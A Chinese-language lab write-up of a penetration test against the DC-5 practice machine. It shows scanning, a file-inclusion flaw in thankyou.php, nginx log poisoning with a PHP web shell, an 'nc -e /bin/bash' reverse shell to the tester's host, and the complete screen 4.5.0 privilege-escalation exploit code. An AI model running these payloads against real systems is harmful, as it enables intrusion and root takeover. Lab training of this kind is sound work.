2022春节一次完整的渗透测试-DC-5靶场

本文涉及的产品
日志服务 SLS,月写入数据量 50GB 1个月
简介: 2022春节一次完整的渗透测试-DC-5靶场

 DC靶场的下载、安装与访问在上一篇的文章中。

网络异常,图片无法展示
|

靶场攻略:

1、使用nmap快速扫描的命令:

nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.120.0/24

image.gif

识别到靶场主机ip

image.gif编辑

2.使用命令:

nmap -A -p- -T4 192.168.120.137

image.gif

探测靶场突破口,探测到开放了80端口,111端口和58821端口没啥用处。

image.gif编辑

3.访问80端口,寻找进一步突破口。如果直接使用ip访问会跳转到http://dc-4/,而无法正常加载出来。所以需要我们去添加hosts文件,跳转域名来访问靶场ip。

Windows:可以访问本地hosts,打开C:\Windows\System32\drivers\etc,修改hosts文件。

image.gif编辑

Linux:在/etc/hosts文件中添加域名。

打开浏览器,访问即可。

image.gif编辑

在contact.php页面,发现了交互地方。

image.gif编辑

我们先随便写一个提交一下。

image.gif编辑

当我们每次刷新的时候,下面的 copy的时间是一直在变化的。

image.gif编辑

4.此时我们可以对目录进行扫描一下。

ffuf -u http://192.168.120.137/FUZZ -w /root/fuzzDicts-master/directoryDicts/Filenames_or_Directories_All.txt -s

image.gif

image.gif编辑

访问footer.php时,可以看到copyright,结合我们提交后的那个页面,我们可以得知,这里存在文件包含。

image.gif编辑

漏洞利用

一般文件包含的参数常见的有 includerequirepagefilef等等,我们可以首先手动尝试这些可能性极高的参数,如果没有发现再通过字典爆破。最终发现 file正是文件包含的参数。

http://dc-5/thankyou.php?file=index.php

image.gif

image.gif编辑

http://dc-5/thankyou.php?file=/etc/passwd

image.gif

image.gif编辑

网站外部文件也能包含进来,那么我们也可以包含nginx的日志文件。ginx就会把相关的访问记录写入日志文件 access.log的中,每当我们访问一个出错的页面,nginx就会把相关的错误访问记录写入日志文件 error.log中。nginx的日志文件一般存储在 /var/log/nginx/中。我们尝试将一句话木马写入日志文件中。

我们就可以上传一句话木马。打开Burpsuite,抓包修改file参数,传入一句话file=<?php system($_GET['x']) ?>

image.gif编辑

然后再来测试一下命令

http://dc-5/thankyou.php?file=/var/log/nginx/error.log&x=id

image.gif

image.gif编辑

建立shell

接下来就反弹一个shell,在本地监听一个端口 4443

image.gif编辑

然后再浏览器访问下面地址,利用一句话木马执行反弹shell的命令。

http://dc-5/thankyou.php?file=/var/log/nginx/error.log&x=nc -e /bin/bash 192.168.120.129 4443

image.gif

image.gif编辑

然后升级为交互式shell,在本地执行下面命令:

python -c 'import pty;pty.spawn("/bin/bash")'

image.gif

image.gif编辑

然后进行提权。

find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null

image.gif

-perm 是代表按指定权限搜索。

-u=s 其中u代表当前用户的权限,s代表suid权限,-号代表至少需要满足指定的权限,可以有更多的权限,但是不能少了这个指定权限

-tpye 代表搜索指定的类型,f代表文件。

-exec 代表搜索完后执行指定的命令,其中{}代表所搜到的结果,命令以分号为结束标识。

2>/dev/null 代表不显示错误信息,

image.gif编辑

用searchsploit搜索一下screen-4.5.0的文件。

searchsploit screen 4.5.0

image.gif

image.gif编辑

我们将41154.sh文件复制到当前目录下面。

searchsploit -m 41154.sh

image.gif

image.gif编辑

查看这个文件

cat 41154.sh

image.gif

image.gif编辑从这个文件可以得出,需要我们去创建两个文件libhax.c和rootshell.c,之后使用gcc进行编译。

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

image.gif

将这段代码保存为 libhax.c,并执行下面命令进行编译:

gcc -fPIC -shared -ldl -o libhax.so libhax.c

image.gif

-fPIC 参数表明使用地址无关代码。

-shared 参数表明产生共享库。

-ldl 其中参数-l为连接一个共享库,dl表示名为libdl.a的静态库。

image.gif编辑

将下面代码保存为 rootshell.c文件

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

image.gif

然后执行下面命令编译rootshell.c:

gcc -o rootshell rootshell.c

image.gif

image.gif编辑

然后将下面代码保存为 getroot.sh

umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

image.gif

然后将编译后的文件和 getroot.sh共三个文件一起上传到靶机的 /tmp目录。这里我通过蚁剑上传的,然后修改getroot.sh的权限。

image.gif编辑

提权成功,在/root目录获取flag。

image.gif编辑


相关文章
|
3月前
|
安全 Shell 网络安全
基于Vulnhub靶场—DC4渗透测试过程
Vulhub是一个开源项目,专注于安全漏洞的复现和学习。包括Web应用、容器和操作系统漏洞。项目特点包括丰富的漏洞场景、详细的复现指南、便捷的环境部署和持续更新。通过Vulhub,安全从业者可以学习和研究漏洞利用技术。此外,文章还介绍了如何下载和搭建Vulhub靶机DC-4,并详细描述了利用Burp Suite进行密码爆破和命令执行,最终获取root权限的过程。
119 0
|
3月前
探讨AC/DC电源模块的可靠性设计和测试方法
探讨AC/DC电源模块的可靠性设计和测试方法
探讨AC/DC电源模块的可靠性设计和测试方法
|
3月前
BOSHIDA AC/DC电源模块的可靠性设计与测试方法
BOSHIDA AC/DC电源模块的可靠性设计与测试方法
BOSHIDA  AC/DC电源模块的可靠性设计与测试方法
|
3月前
|
安全 Shell Linux
记录VulnHub 靶场——Escalate_Linux渗透测试过程
本文档描述了一次靶场环境的搭建和渗透测试过程。首先,提供了靶机环境的下载链接,并建议在VMware或VirtualBox中以NAT模式或仅主机模式导入。接着,通过Kali Linux扫描发现靶机IP,并用Nmap扫描开放端口,识别出80、111、139、445、2049等端口。在80端口上找到一个shell.php文件,通过它发现可以利用GET参数传递cmd命令。
70 0
|
3月前
|
安全 网络安全 数据安全/隐私保护
VulnHub 靶场--super-Mario-Host超级马里奥主机渗透测试过程
这篇文章描述了在一个网络安全靶场环境中进行渗透测试的过程。首先,从百度网盘下载并导入虚拟机镜像,然后将其网络设置为NAT或仅主机模式。接下来,通过扫描靶机IP地址的本地网络段,发现靶机IP为192.168.220.135,并且了解到靶机上有一个名为“mario.supermariohost.local”的Web服务,运行在8180端口。尝试SSH弱口令攻击失败后,通过信息收集找到一个名为“luigi.php”的页面,其中包含一段英文提示,提示需要将域名添加到hosts文件中。 通过cewl工具从luigi.php生成字典文件passwords,然后使用hydra工具尝试SSH登录,成功获得l
56 0
|
3月前
|
Shell Linux 网络安全
基于Vulnhub—DC8靶场渗透测试过程
这篇文章描述了一个渗透测试的过程。首先,作者下载了一个名为DC8的靶场环境并将其导入虚拟机软件,将网络设置为NAT或仅主机模式。然后进行了信息收集,通过ARP扫描发现靶机IP,并使用nmap扫描开放端口,发现80和22端口开放。进一步利用SQL注入漏洞,通过sqlmap工具获取了数据库中的用户名和密码
44 0
|
3月前
|
安全 Shell 网络安全
基于Vulnhub靶场之DC-3渗透测试过程
Vulhub靶场介绍: [Vulhub](https://vulhub.org/) 是一个专注于安全漏洞复现和学习的开源项目。它提供了各种常见漏洞的复现环境,帮助网络安全从业者学习和研究漏洞利用技术。这些环境涵盖了Web应用、容器和操作系统等多个领域。Vulhub 的特点包括: 1. **丰富的漏洞场景**:覆盖多种常见的漏洞,如SQL注入、XSS等。 2. **详细复现指南**:为每个漏洞场景提供详细的环境搭建和利用步骤,便于学习和实践。 3. **易于使用**:提供一键部署或Docker镜像,简化环境搭建过程 4. **持续更新与维护**:项目在GitHub上开源,不断接收社区的贡献和更新
140 0
|
11月前
|
安全 Linux 测试技术
如何使用Kali Linux进行渗透测试?
如何使用Kali Linux进行渗透测试?
346 0
|
前端开发 Linux 网络安全
kali linux 网络渗透测试学习笔记(一)Nmap工具进行端口扫描
一.利用Nmap扫描网站服务器的端口开放情况首先打开我们的kali linux才做系统,再打开其命令行模式,输入:nmap www.csdn.net 如下图所示:   因此,通过这个结果可以表明csdn上的端口开放了80端口以及443端口吗,这两个端口都十分重要,因为80端口适用于给用户呈现出数据,给用户看网站用的,443端口也是一个比较重要的端口。
2280 0
|
3月前
|
网络协议 网络安全 Go
Kali下安装渗透测试常用工具dnsx和dirsearch
Kali下安装渗透测试常用工具dnsx和dirsearch
179 0